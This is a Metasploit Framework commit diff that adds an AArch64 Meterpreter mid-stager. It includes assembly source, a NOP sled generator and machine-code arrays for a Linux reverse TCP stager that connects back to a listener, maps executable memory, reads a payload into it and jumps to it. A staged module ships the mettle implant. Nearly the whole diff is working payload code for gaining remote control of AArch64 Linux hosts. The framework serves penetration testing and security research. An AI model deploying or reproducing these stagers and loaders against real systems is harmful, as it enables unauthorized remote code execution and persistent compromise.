Skip to content

Commit 3c1abe6

Browse files
committed
Land rapid7#8904, Add Meterpreter mid-stager for AArch64
2 parents 202c936 + 86ee77f commit 3c1abe6

File tree

7 files changed

+305
-18
lines changed

7 files changed

+305
-18
lines changed
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
.equ SYS_READ, 0x3f
2+
.equ SYS_MMAP, 0xde
3+
.equ SYS_EXIT, 0x5d
4+
5+
start:
6+
adr x2, size
7+
ldr w2, [x2]
8+
mov x10, x2
9+
10+
/* Page-align, assume <4GB */
11+
lsr x2, x2, #12
12+
add x2, x2, #1
13+
lsl x2, x2, #12
14+
15+
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
16+
mov x0, xzr
17+
mov x1, x2
18+
mov x2, #7
19+
mov x3, #34
20+
mov x4, xzr
21+
mov x5, xzr
22+
mov x8, SYS_MMAP
23+
svc 0
24+
25+
/* Grab the saved size, save the address */
26+
mov x4, x10
27+
28+
/* Save the memory address */
29+
mov x3, x0
30+
mov x10, x0
31+
32+
read_loop:
33+
/* read(sockfd, buf='x3', nbytes='x4') */
34+
mov x0, x12
35+
mov x1, x3
36+
mov x2, x4
37+
mov x8, SYS_READ
38+
svc 0
39+
cbz w0, failed
40+
add x3, x3, x0
41+
subs x4, x4, x0
42+
bne read_loop
43+
44+
/* add entry_offset */
45+
adr x0, entry
46+
ldr x0, [x0]
47+
add x0, x0, x10
48+
mov x14, x0
49+
50+
/* set up the initial stack */
51+
mov x0, sp
52+
and sp, x0, #-16
53+
add sp, sp, #(16 * 6)
54+
55+
/* argc = 2, argv[0] = 'm' */
56+
mov x0, #2
57+
mov x1, #109
58+
str x1, [sp]
59+
mov x1, sp
60+
61+
mov x2, x12
62+
mov x3, 0
63+
64+
mov x4, 0
65+
mov x5, #7 /* AT_BASE */
66+
67+
mov x6, x10
68+
mov x7, #6 /* AT_PAGESZ */
69+
70+
mov x8, #0x1000
71+
mov x9, #25 /* AT_RANDOM */
72+
73+
mov x10, x10
74+
mov x11, #0 /* AT_NULL */
75+
76+
stp x10, x11, [sp, #-16]!
77+
stp x8, x9, [sp, #-16]!
78+
stp x6, x7, [sp, #-16]!
79+
stp x4, x5, [sp, #-16]!
80+
stp x2, x3, [sp, #-16]!
81+
stp x0, x1, [sp, #-16]!
82+
83+
mov x29, #0
84+
mov x30, #0
85+
br x14
86+
87+
failed:
88+
mov x0, 0
89+
mov x8, SYS_EXIT
90+
svc 0
91+
92+
.balign 16
93+
size:
94+
.word 0
95+
.word 0
96+
entry:
97+
.word 0
98+
.word 0

external/source/shellcode/linux/aarch64/stager_sock_reverse.s

Lines changed: 11 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,10 @@ start:
3737
mov x2, #4
3838
mov x8, SYS_READ
3939
svc 0
40-
cbz w0, failed
40+
cmn x0, #0x1
41+
beq failed
4142

42-
ldr x2, [sp,#0]
43+
ldr w2, [sp,#0]
4344

4445
/* Page-align, assume <4GB */
4546
lsr x2, x2, #12
@@ -53,12 +54,13 @@ start:
5354
mov x3, #34
5455
mov x4, xzr
5556
mov x5, xzr
56-
/* call mmap() */
57-
movi x8, SYS_MMAP
57+
mov x8, SYS_MMAP
5858
svc 0
59+
cmn x0, #0x1
60+
beq failed
5961

6062
/* Grab the saved size, save the address */
61-
ldr x4, [sp]
63+
ldr w4, [sp]
6264

6365
/* Save the memory address */
6466
str x0, [sp]
@@ -73,13 +75,15 @@ read_loop:
7375
mov x2, x4
7476
mov x8, SYS_READ
7577
svc 0
78+
cmn x0, #0x1
79+
beq failed
7680
add x3, x3, x0
7781
subs x4, x4, x0
7882
bne read_loop
7983

8084
/* Go to shellcode */
81-
ldr x30, [sp]
82-
ret
85+
ldr x0, [sp]
86+
blr x0
8387

8488
failed:
8589
mov x0, 0

lib/msf/util/exe.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -165,6 +165,14 @@ def self.to_executable(framework, arch, plat, code = '', opts = {})
165165
# XXX: Add remaining ARMLE systems here
166166
end
167167

168+
if arch.index(ARCH_AARCH64)
169+
if plat.index(Msf::Module::Platform::Linux)
170+
return to_linux_aarch64_elf(framework, code)
171+
end
172+
173+
# XXX: Add remaining AARCH64 systems here
174+
end
175+
168176
if arch.index(ARCH_PPC)
169177
if plat.index(Msf::Module::Platform::OSX)
170178
return to_osx_ppc_macho(framework, code)

modules/nops/aarch64/simple.rb

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# SingleByte
9+
# ----------
10+
#
11+
# This class implements simple NOP generator for AARCH64
12+
#
13+
###
14+
class MetasploitModule < Msf::Nop
15+
16+
def initialize
17+
super(
18+
'Name' => 'Simple',
19+
'Alias' => 'armle_simple',
20+
'Description' => 'Simple NOP generator',
21+
'License' => MSF_LICENSE,
22+
'Arch' => ARCH_AARCH64)
23+
register_advanced_options(
24+
[
25+
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
26+
])
27+
end
28+
29+
def generate_sled(length, opts)
30+
random = opts['Random'] || datastore['RandomNops']
31+
nops = [
32+
0xd503201f, # nop
33+
0xaa0103e1, # mov x1, x1
34+
0xaa0203e2, # mov x2, x2
35+
0x2a0303e3, # mov w3, w3
36+
0x2a0403e4, # mov w4, w4
37+
]
38+
if random
39+
return ([nops[rand(nops.length)]].pack("V*") * (length/4))
40+
end
41+
return ([nops[0]].pack("V*") * (length/4))
42+
end
43+
end

modules/payloads/stagers/linux/aarch64/reverse_tcp.rb

Lines changed: 16 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@
1717
###
1818
module MetasploitModule
1919

20-
CachedSize = 192
20+
CachedSize = 212
2121

2222
include Msf::Payload::Stager
2323

@@ -33,8 +33,8 @@ def initialize(info = {})
3333
{
3434
'Offsets' =>
3535
{
36-
'LPORT' => [ 186, 'n' ],
37-
'LHOST' => [ 188, 'ADDR' ],
36+
'LPORT' => [ 206, 'n' ],
37+
'LHOST' => [ 208, 'ADDR' ],
3838
},
3939
'Payload' =>
4040
[
@@ -45,19 +45,20 @@ def initialize(info = {})
4545
0xd28018c8, # mov x8, #0xc6 // #198
4646
0xd4000001, # svc #0x0
4747
0xaa0003ec, # mov x12, x0
48-
0x10000501, # adr x1, b8 <sockaddr>
48+
0x100005a1, # adr x1, cc <sockaddr>
4949
0xd2800202, # mov x2, #0x10 // #16
5050
0xd2801968, # mov x8, #0xcb // #203
5151
0xd4000001, # svc #0x0
52-
0x35000420, # cbnz w0, ac <failed>
52+
0x350004c0, # cbnz w0, c0 <failed>
5353
0xaa0c03e0, # mov x0, x12
5454
0xd10043ff, # sub sp, sp, #0x10
5555
0x910003e1, # mov x1, sp
5656
0xd2800082, # mov x2, #0x4 // #4
5757
0xd28007e8, # mov x8, #0x3f // #63
5858
0xd4000001, # svc #0x0
59-
0x34000340, # cbz w0, ac <failed>
60-
0xf94003e2, # ldr x2, [sp]
59+
0xb100041f, # cmn x0, #0x1
60+
0x540003c0, # b.eq c0 <failed>
61+
0xb94003e2, # ldr w2, [sp]
6162
0xd34cfc42, # lsr x2, x2, #12
6263
0x91000442, # add x2, x2, #0x1
6364
0xd374cc42, # lsl x2, x2, #12
@@ -69,19 +70,23 @@ def initialize(info = {})
6970
0xaa1f03e5, # mov x5, xzr
7071
0xd2801bc8, # mov x8, #0xde // #222
7172
0xd4000001, # svc #0x0
72-
0xf94003e4, # ldr x4, [sp]
73+
0xb100041f, # cmn x0, #0x1
74+
0x54000200, # b.eq c0 <failed>
75+
0xb94003e4, # ldr w4, [sp]
7376
0xf90003e0, # str x0, [sp]
7477
0xaa0003e3, # mov x3, x0
7578
0xaa0c03e0, # mov x0, x12
7679
0xaa0303e1, # mov x1, x3
7780
0xaa0403e2, # mov x2, x4
7881
0xd28007e8, # mov x8, #0x3f // #63
7982
0xd4000001, # svc #0x0
83+
0xb100041f, # cmn x0, #0x1
84+
0x540000c0, # b.eq c0 <failed>
8085
0x8b000063, # add x3, x3, x0
8186
0xeb000084, # subs x4, x4, x0
82-
0x54ffff21, # b.ne 84 <read_loop>
83-
0xf94003fe, # ldr x30, [sp]
84-
0xd65f03c0, # ret
87+
0x54fffee1, # b.ne 90 <read_loop>
88+
0xf94003e0, # ldr x0, [sp]
89+
0xd63f0000, # blr x0
8590
0xd2800000, # mov x0, #0x0 // #0
8691
0xd2800ba8, # mov x8, #0x5d // #93
8792
0xd4000001, # svc #0x0
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/base/sessions/meterpreter_aarch64_linux'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'rex/elfparsey'
10+
11+
module MetasploitModule
12+
include Msf::Sessions::MeterpreterOptions
13+
include Msf::Sessions::MettleConfig
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Linux Meterpreter',
20+
'Description' => 'Inject the mettle server payload (staged)',
21+
'Author' => [
22+
'Adam Cammack <adam_cammack[at]rapid7.com>'
23+
],
24+
'Platform' => 'linux',
25+
'Arch' => ARCH_AARCH64,
26+
'License' => MSF_LICENSE,
27+
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
28+
)
29+
)
30+
end
31+
32+
def elf_ep(payload)
33+
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
34+
elf.elf_header.e_entry
35+
end
36+
37+
def handle_intermediate_stage(conn, payload)
38+
entry_offset = elf_ep(payload)
39+
40+
# Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
41+
midstager = [
42+
43+
0x10000782, # adr x2, f0 <size>
44+
0xb9400042, # ldr w2, [x2]
45+
0xaa0203ea, # mov x10, x2
46+
0xd34cfc42, # lsr x2, x2, #12
47+
0x91000442, # add x2, x2, #0x1
48+
0xd374cc42, # lsl x2, x2, #12
49+
0xaa1f03e0, # mov x0, xzr
50+
0xaa0203e1, # mov x1, x2
51+
0xd28000e2, # mov x2, #0x7 // #7
52+
0xd2800443, # mov x3, #0x22 // #34
53+
0xaa1f03e4, # mov x4, xzr
54+
0xaa1f03e5, # mov x5, xzr
55+
0xd2801bc8, # mov x8, #0xde // #222
56+
0xd4000001, # svc #0x0
57+
0xaa0a03e4, # mov x4, x10
58+
0xaa0003e3, # mov x3, x0
59+
0xaa0003ea, # mov x10, x0
60+
0xaa0c03e0, # mov x0, x12
61+
0xaa0303e1, # mov x1, x3
62+
0xaa0403e2, # mov x2, x4
63+
0xd28007e8, # mov x8, #0x3f // #63
64+
0xd4000001, # svc #0x0
65+
0x34000440, # cbz w0, e0 <failed>
66+
0x8b000063, # add x3, x3, x0
67+
0xeb000084, # subs x4, x4, x0
68+
0x54ffff01, # b.ne 44 <read_loop>
69+
0x10000480, # adr x0, f8 <entry>
70+
0xf9400000, # ldr x0, [x0]
71+
0x8b0a0000, # add x0, x0, x10
72+
0xaa0003ee, # mov x14, x0
73+
0x910003e0, # mov x0, sp
74+
0x927cec1f, # and sp, x0, #0xfffffffffffffff0
75+
0x910183ff, # add sp, sp, #0x60
76+
0xd2800040, # mov x0, #0x2 // #2
77+
0xd2800da1, # mov x1, #0x6d // #109
78+
0xf90003e1, # str x1, [sp]
79+
0x910003e1, # mov x1, sp
80+
0xaa0c03e2, # mov x2, x12
81+
0xd2800003, # mov x3, #0x0 // #0
82+
0xd2800004, # mov x4, #0x0 // #0
83+
0xd28000e5, # mov x5, #0x7 // #7
84+
0xaa0a03e6, # mov x6, x10
85+
0xd28000c7, # mov x7, #0x6 // #6
86+
0xd2820008, # mov x8, #0x1000 // #4096
87+
0xd2800329, # mov x9, #0x19 // #25
88+
0xaa0a03ea, # mov x10, x10
89+
0xd280000b, # mov x11, #0x0 // #0
90+
0xa9bf2fea, # stp x10, x11, [sp,#-16]!
91+
0xa9bf27e8, # stp x8, x9, [sp,#-16]!
92+
0xa9bf1fe6, # stp x6, x7, [sp,#-16]!
93+
0xa9bf17e4, # stp x4, x5, [sp,#-16]!
94+
0xa9bf0fe2, # stp x2, x3, [sp,#-16]!
95+
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
96+
0xd280001d, # mov x29, #0x0 // #0
97+
0xd280001e, # mov x30, #0x0 // #0
98+
0xd61f01c0, # br x14
99+
0xd2800000, # mov x0, #0x0 // #0
100+
0xd2800ba8, # mov x8, #0x5d // #93
101+
0xd4000001, # svc #0x0
102+
0xd503201f, # nop
103+
payload.length,
104+
0x00000000, # .word 0x00000000
105+
entry_offset,
106+
0x00000000, # .word 0x00000000
107+
].pack('V*')
108+
109+
print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)")
110+
conn.put([midstager.length].pack('V'))
111+
conn.put(midstager) == midstager.length
112+
end
113+
114+
def generate_stage(opts = {})
115+
MetasploitPayloads::Mettle.new('aarch64-linux-musl',
116+
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image
117+
end
118+
end

0 commit comments

Comments
 (0)